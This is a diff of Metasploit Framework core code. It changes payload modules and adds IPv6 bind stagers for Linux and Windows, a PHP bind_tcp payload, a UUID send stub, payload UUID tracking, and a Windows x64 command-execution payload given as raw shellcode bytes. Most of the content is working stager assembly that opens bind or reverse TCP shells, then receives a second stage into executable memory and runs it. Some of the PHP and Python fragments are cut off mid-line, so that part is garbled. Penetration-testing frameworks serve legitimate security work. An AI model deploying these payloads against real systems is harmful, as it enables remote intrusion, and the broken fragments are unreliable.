loaded_items = [] - each_module_reference_name(path, options) do |parent_path, type, module_reference_name| - # In msfcli mode, if a module is already loaded, avoid loading it again - next if loaded_items.include?(module_reference_name) and options[:whitelist] - - # Keep track of loaded modules in msfcli mode - loaded_items << module_reference_name if options[:whitelist] load_module( parent_path, type, diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 693bcc9036..46f182e4f6 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -56,24 +56,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # The module_reference_name doesn't have a file extension module_reference_name = module_reference_name_from_path(relative_entry_descendant_path) - # If the modules argument is set, this means we only want to load specific ones instead - # of loading everything to memory - see msfcli. - if whitelist.empty? - # Load every module we see, which is the default behavior. - yield path, type, module_reference_name - else - whitelist.each do |pattern| - # We have to use entry_descendant_path to see if this is the module we want, because - # this is easier to identify the module type just by looking at the file path. - # For example, if module_reference_name is used (or a parsed relative path), you can't - # really tell if php/generic is a NOP module, a payload, or an encoder. - if entry_descendant_path =~ pattern - yield path, type, module_reference_name - else - next - end - end - end + yield path, type, module_reference_name end end end diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb index 74fdbe1c27..bfe0754ecf 100644 --- a/lib/msf/core/opt_enum.rb +++ b/lib/msf/core/opt_enum.rb @@ -35,7 +35,7 @@ class OptEnum < OptBase if self.enums str = self.enums.join(', ') end - "#{self.desc_string || ''} (accepted: #{str})" + "#{self.desc_string || ''} (Accepted: #{str})" end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 6eb0699235..c1ec362da2 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -318,6 +318,16 @@ class Payload < Msf::Module apply_prepends(generate) end + # + # Convert raw bytes to metasm-ready 'db' encoding format + # eg. "\x90\xCC" => "db 0x90,0xCC" + # + # @param raw [Array] Byte array to encode. + # + def raw_to_db(raw) + raw.unpack("C*").map {|c| "0x%.2x" % c}.join(",") + end + # # Substitutes variables with values from the module's datastore in the # supplied raw buffer for a given set of named offsets. For instance, diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 43ecd9cc61..088345be71 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -17,7 +17,7 @@ module Msf::Payload::Dalvik # # We could compile the .class files with dx here # - def generate_stage + def generate_stage(opts={}) end # @@ -31,6 +31,16 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def apply_options(classes) + timeouts = [ + datastore['SessionExpirationTimeout'].to_s, + datastore['SessionCommunicationTimeout'].to_s, + datastore['SessionRetryTotal'].to_s, + datastore['SessionRetryWait'].to_s + ].join('-') + string_sub(classes, 'TTTT ', 'TTTT' + timeouts) + end + def string_sub(data, placeholder="", input="") data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) end diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 0de18cc652..0fda6c7757 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -20,23 +20,13 @@ module Payload::Generic def initialize(info = {}) super(merge_info(info, 'Arch' => ARCH_ALL - [ARCH_TTY], - 'Platform' => '')) + 'Platform' => '' + )) - register_advanced_options( - [ - OptString.new('PLATFORM', - [ - false, - "The platform that is being targeted", - nil - ]), - OptString.new('ARCH', - [ - false, - "The architecture that is being targeted", - nil - ]) - ], Msf::Payload::Generic) + register_advanced_options([ + OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]), + OptString.new('ARCH', [false, "The architecture that is being targeted", nil]) + ], Msf::Payload::Generic) end # @@ -103,8 +93,8 @@ module Payload::Generic # Stager overrides # - def stage_payload - redirect_to_actual(:stage_payload) + def stage_payload(*args) + redirect_to_actual(:stage_payload, *args) end def stage_offsets @@ -123,8 +113,8 @@ module Payload::Generic redirect_to_actual(:stage_over_connection?) end - def generate_stage - redirect_to_actual(:generate_stage) + def generate_stage(opts={}) + redirect_to_actual(:generate_stage, opts) end def handle_connection_stage(*args) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index d8ecdf500a..d61b2190cc 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -14,13 +14,13 @@ module Msf::Payload::Java # [ 32-bit big endian length ][ Nth raw .class file] # [ 32-bit null ] # - def generate_stage + def generate_stage(opts={}) stage = '' @stage_class_files.each do |path| data = MetasploitPayloads.read('java', path) - stage << ([data.length].pack("N") + data) + stage << [data.length, data].pack('NA*') end - stage << [0].pack("N") + stage << [0].pack('N') stage end diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 83b02fc4a4..a8de052bc6 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/linux/send_uuid' module Msf @@ -17,6 +18,7 @@ module Payload::Linux::BindTcp include Msf::Payload::TransportConfig include Msf::Payload::Linux + include Msf::Payload::Linux::SendUUID # # Generate the first stage @@ -36,6 +38,18 @@ module Payload::Linux::BindTcp generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + # # Generate and compile the stager # @@ -72,7 +86,13 @@ module Payload::Linux::BindTcp def asm_bind_tcp(opts={}) #reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + af_inet = 2 + + if use_ipv6 + af_inet = 0xa + end + + encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first asm = %Q^ bind_tcp: @@ -89,7 +109,7 @@ module Payload::Linux::BindTcp push ebx ; PROTO inc ebx ; SYS_SOCKET and SOCK_STREAM push ebx - push 0x2 ; SYS_BIND and AF_INET + push #{af_inet} ; SYS_BIND and AF_INET(6) mov ecx,esp mov al,0x66 ; socketcall syscall int 0x80 ; invoke socketcall (SYS_SOCKET) @@ -114,15 +134,38 @@ module Payload::Linux::BindTcp pop ebx pop esi + ^ + + if use_ipv6 + asm << %Q^ + push 2 + pop ebx + push edx + push edx + push edx + push edx + push edx + push edx + push #{encoded_port} + mov ecx,esp + push 0x1c + ^ + else + asm << %Q^ push edx push #{encoded_port} push 0x10 + ^ + end + + asm << %Q^ push ecx push eax mov ecx,esp push 0x66 ; socketcall syscall pop eax int 0x80 ; invoke socketcall (SYS_BIND) + shl ebx,1 ; SYS_LISTEN mov al,0x66 ; socketcall syscall (SYS_LISTEN) int 0x80 ; invoke socketcall @@ -133,6 +176,16 @@ module Payload::Linux::BindTcp mov [ecx+0x4],edx int 0x80 ; invoke socketcall (SYS_ACCEPT) xchg eax,ebx + ^ + + if include_send_uuid + asm << %Q^ + mov edi, ebx + #{asm_send_uuid} + ^ + end + + asm << %Q^ mov dh,0xc ; at least 0x0c00 bytes mov al,0x3 ; read syscall int 0x80 ; invoke read diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 5b190f93b0..bad961c820 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -3,6 +3,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/linux' +require 'msf/core/payload/linux/send_uuid' module Msf @@ -18,6 +19,7 @@ module Payload::Linux::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Linux + include Msf::Payload::Linux::SendUUID # # Generate the first stage @@ -39,6 +41,14 @@ module Payload::Linux::ReverseTcp generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_reverse_tcp(opts) end @@ -89,9 +99,10 @@ module Payload::Linux::ReverseTcp push 0x2 mov al, 0x66 mov ecx, esp - int 0x80 ; sys_socketcall - xchg eax, edi - pop ebx + int 0x80 ; sys_socketcall (socket()) + + xchg eax, edi ; store the socket in edi + pop ebx ; set ebx back to zero push #{encoded_host} push #{encoded_port} mov ecx, esp @@ -102,7 +113,12 @@ module Payload::Linux::ReverseTcp push edi mov ecx, esp inc ebx - int 0x80 ; sys_socketcall + int 0x80 ; sys_socketcall (connect()) + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ mov dl, 0x7 mov ecx, 0x1000 mov ebx, esp @@ -110,12 +126,13 @@ module Payload::Linux::ReverseTcp shl ebx, 0xc mov al, 0x7d int 0x80 ; sys_mprotect + pop ebx mov ecx, esp cdq mov dh, 0xc mov al, 0x3 - int 0x80 ; sys_read + int 0x80 ; sys_read (recv()) jmp ecx ^ diff --git a/lib/msf/core/payload/linux/send_uuid.rb b/lib/msf/core/payload/linux/send_uuid.rb new file mode 100644 index 0000000000..c010944c0e --- /dev/null +++ b/lib/msf/core/payload/linux/send_uuid.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Linux ARCH_X86 payloads +# +### + +module Payload::Linux::SendUUID + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the communications socket handle is in edi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + push ebx ; store ebx for later + push ecx ; store ecx for later + push 0 ; terminate the args array + push #{uuid_raw.length} ; length of the UUID + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID itself + get_uuid_address: + push edi ; socket handle + mov ecx, esp ; store the pointer to the argument arra + push 0x9 ; SYS_SEND + pop ebx + push 0x66 ; sys_socketcall + pop eax + int 0x80 + add esp, 16 ; put the stack back how it was + pop ecx ; restore ecx + pop ebx ; restore ebx + ^ + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb new file mode 100644 index 0000000000..4e78d65711 --- /dev/null +++ b/lib/msf/core/payload/php/bind_tcp.rb @@ -0,0 +1,123 @@ + +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/php/send_uuid' + +module Msf + +### +# +# Complex bind_tcp payload generation for PHP +# +### + +module Payload::Php::BindTcp + + include Msf::Payload::Php + include Msf::Payload::Php::SendUUID + + # + # Generate the first stage + # + def generate + conf = { + port: datastore['LPORT'] + } + + php = super + generate_bind_tcp(conf) + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def use_ipv6 + false + end + + def transport_config(opts={}) + transport_config_bind_tcp(opts) + end + + def generate_bind_tcp(opts={}) + ipf = 'AF_INET' + ip = '0.0.0.0' + if use_ipv6 + ipf << "6" + ip = '[::]' + end + + php = %Q^/*I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d)I',s.recv(4))[0]\n" + cmd << "d=s.recv(l)\n" + cmd << "while len(d) datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, + :ua => datastore['MeterpreterUserAgent'], :proxy_host => datastore['PayloadProxyHost'], :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], diff --git a/lib/msf/core/payload/uuid_options.rb b/lib/msf/core/payload/uuid/options.rb similarity index 53% rename from lib/msf/core/payload/uuid_options.rb rename to lib/msf/core/payload/uuid/options.rb index 3ced04c4a7..52f749e0be 100644 --- a/lib/msf/core/payload/uuid_options.rb +++ b/lib/msf/core/payload/uuid/options.rb @@ -7,7 +7,7 @@ require 'rex/payloads/meterpreter/uri_checksum' # # This module provides datastore option definitions and helper methods for payload modules that support UUIDs # -module Msf::Payload::UUIDOptions +module Msf::Payload::UUID::Options include Rex::Payloads::Meterpreter::UriChecksum @@ -17,6 +17,8 @@ module Msf::Payload::UUIDOptions [ Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)']), Msf::OptString.new('PayloadUUIDRaw', [ false, 'A hex string representing the raw 8-byte PUID value for the UUID']), + Msf::OptString.new('PayloadUUIDName', [ false, 'A human-friendly name to reference this unique payload (requires tracking)']), + Msf::OptBool.new('PayloadUUIDTracking', [ true, 'Whether or not to automatically register generated UUIDs', false]), ], self.class) end @@ -31,16 +33,20 @@ module Msf::Payload::UUIDOptions def generate_uri_uuid_mode(mode,len=nil) sum = uri_checksum_lookup(mode) - # The URI length may not have room for an embedded checksum + # The URI length may not have room for an embedded UUID if len && len < URI_CHECKSUM_UUID_MIN_LEN # Throw an error if the user set a seed, but there is no room for it - if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 + if datastore['PayloadUUIDSeed'].to_s.length > 0 || datastore['PayloadUUIDRaw'].to_s.length > 0 raise ArgumentError, "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID" end return "/" + generate_uri_checksum(sum, len, prefix="") end - generate_uri_uuid(sum, generate_payload_uuid, len) + uuid = generate_payload_uuid + uri = generate_uri_uuid(sum, uuid, len) + record_payload_uuid_url(uuid, uri) + + uri end # Generate a Payload UUID @@ -66,7 +72,48 @@ module Msf::Payload::UUIDOptions conf[:puid] = puid_raw end - Msf::Payload::UUID.new(conf) + if datastore['PayloadUUIDName'].to_s.length > 0 && ! datastore['PayloadUUIDTracking'] + raise ArgumentError, "The PayloadUUIDName value is ignored unless PayloadUUIDTracking is enabled" + end + + # Generate the UUID object + uuid = Msf::Payload::UUID.new(conf) + record_payload_uuid(uuid) + + uuid + end + + # Store a UUID in the JSON database if tracking is enabled + def record_payload_uuid(uuid, info={}) + return unless datastore['PayloadUUIDTracking'] + + uuid_info = info.merge({ + arch: uuid.arch, + platform: uuid.platform, + timestamp: uuid.timestamp, + payload: self.fullname, + datastore: self.datastore + }) + + if datastore['PayloadUUIDSeed'].to_s.length > 0 + uuid_info[:seed] = datastore['PayloadUUIDSeed'] + end + + if datastore['PayloadUUIDName'].to_s.length > 0 + uuid_info[:name] = datastore['PayloadUUIDName'] + end + + framework.uuid_db[uuid.puid_hex] = uuid_info + end + + # Store a UUID URL in the JSON database if tracking is enabled + def record_payload_uuid_url(uuid, url) + return unless datastore['PayloadUUIDTracking'] + uuid_info = framework.uuid_db[uuid.puid_hex] + uuid_info['urls'] ||= [] + uuid_info['urls'] << url + uuid_info['urls'].uniq! + framework.uuid_db[uuid.puid_hex] = uuid_info end end diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index f05324a63a..c0f764629c 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -163,5 +163,13 @@ module Msf::Payload::Windows @@exit_types.dup end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + end diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 5aa6cd3f94..cec61940b7 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -19,6 +20,7 @@ module Payload::Windows::BindTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -40,10 +42,25 @@ module Payload::Windows::BindTcp generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end + # + # Don't use IPv6 by default, this can be overridden by other payloads + # + def use_ipv6 + false + end + # # Generate and compile the stager # @@ -74,6 +91,8 @@ module Payload::Windows::BindTcp # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -87,8 +106,16 @@ module Payload::Windows::BindTcp # def asm_bind_tcp(opts={}) - reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + reliable = opts[:reliable] + addr_fam = 2 + sockaddr_size = 16 + + if use_ipv6 + addr_fam = 23 + sockaddr_size = 28 + end + + encoded_port = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ ; Input: EBP must be the address of 'api_call'. @@ -99,96 +126,99 @@ module Payload::Windows::BindTcp push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. push 0x5F327377 ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "ws2_32" ) mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData ); - push 8 + push 11 pop ecx - push_8_loop: - push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8]) - loop push_8_loop + push_0_loop: + push eax ; if we succeed, eax will be zero, push it enough times + ; to cater for both IPv4 and IPv6 + loop push_0_loop ; push zero for the flags param [8] ; push null for reserved parameter [7] ; we do not specify a WSAPROTOCOL_INFO structure [6] ; we do not specify a protocol [5] - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + push 1 ; push SOCK_STREAM + push #{addr_fam} ; push AF_INET/6 + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this - ; bind to 0.0.0.0, pushed earlier [4] + ; bind to 0.0.0.0/[::], pushed earlier push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save a pointer to sockaddr_in struct - push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used) push esi ; pointer to the sockaddr_in struct push edi ; socket - push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} call ebp ; bind( s, &sockaddr_in, 16 ); - ^ - - # Check for a failed bind() call - if reliable - asm << %Q^ - test eax,eax - jnz failure - ^ - end + ^ + # Check for a failed bind() call + if reliable asm << %Q^ + test eax,eax + jnz failure + ^ + end + + asm << %Q^ ; backlog, pushed earlier [3] push edi ; socket - push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call ebp ; listen( s, 0 ); ; we set length for the sockaddr struct to zero, pushed earlier [2] ; we dont set the optional sockaddr param, pushed earlier [1] push edi ; listening socket - push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call ebp ; accept( s, 0, 0 ); push edi ; push the listening socket xchg edi, eax ; replace the listening socket with the new connected socket for further comms - push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket( s ); + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags push 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, &dwLength, 4, 0 ); - ^ - - # Check for a failed recv() call - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage @@ -198,40 +228,39 @@ module Payload::Windows::BindTcp push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, buffer, length, 0 ); - ^ - - # Check for a failed recv() call - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end + ^ + # Check for a failed recv() call + if reliable asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage + ^ + + if reliable + if opts[:exitfunk] + asm << %Q^ + failure: + ^ + asm << asm_exitfunk(opts) + else + asm << %Q^ + failure: + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call ebp ^ - - if reliable - if opts[:exitfunk] - asm << %Q^ - failure: - - ^ - asm << asm_exitfunk(opts) - else - asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ - end end + end asm end diff --git a/lib/msf/core/payload/windows/exec_x64.rb b/lib/msf/core/payload/windows/exec_x64.rb new file mode 100644 index 0000000000..eb5249abc1 --- /dev/null +++ b/lib/msf/core/payload/windows/exec_x64.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Common command execution implementation for Windows. +# +### + +module Payload::Windows::Exec_x64 + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows x64 Execute Command', + 'Description' => 'Execute an arbitrary command (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Payload' => + { + 'Offsets' => + { + 'EXITFUNC' => [ 229, 'V' ] + }, + 'Payload' => + "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" + + "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + + "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + + "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" + + "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" + + "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" + + "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" + + "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" + + "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" + + "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" + + "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" + + "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" + + "\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" + + "\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" + + "\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" + + "\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" + } + )) + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute" ]), + ], self.class ) + end + + def generate + return super + command_string + "\x00" + end + + def command_string + return datastore['CMD'] || '' + end + +end + +end + diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 50139c1e4f..b740201d30 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 921e787083..b47015f67b 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -4,7 +4,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Register reverse_http specific options @@ -46,20 +46,22 @@ module Payload::Windows::ReverseHttp ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:ua] = datastore['MeterpreterUserAgent'] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 770effc317..d11c607606 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' @@ -17,6 +18,7 @@ module Payload::Windows::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk @@ -40,6 +42,14 @@ module Payload::Windows::ReverseTcp generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_reverse_tcp(opts) end @@ -66,11 +76,13 @@ module Payload::Windows::ReverseTcp # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds some bytes! + space += 44 + + space += uuid_required_size if include_send_uuid # The final estimated size space @@ -96,134 +108,156 @@ module Payload::Windows::ReverseTcp ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: - push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. - push 0x5F327377 ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "ws2_32" ) + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; 